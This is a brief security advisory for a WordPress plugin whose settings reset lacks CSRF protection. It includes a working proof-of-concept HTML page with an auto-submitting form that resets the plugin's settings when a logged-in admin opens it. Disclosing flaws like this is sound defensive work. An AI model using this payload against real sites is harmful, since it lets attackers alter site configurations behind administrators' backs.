Description The plugin does not have CSRF check in place when resetting its settings, which could allow attackers to make a logged in admin reset them via a CSRF attack

Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=similarity%2Fsimilarity.php" method="post">
        <input type="hidden" name="restore_defaults" value="Restore Defaults" />
        <input type="submit" value="Submit" />
    </form>
</body>
```
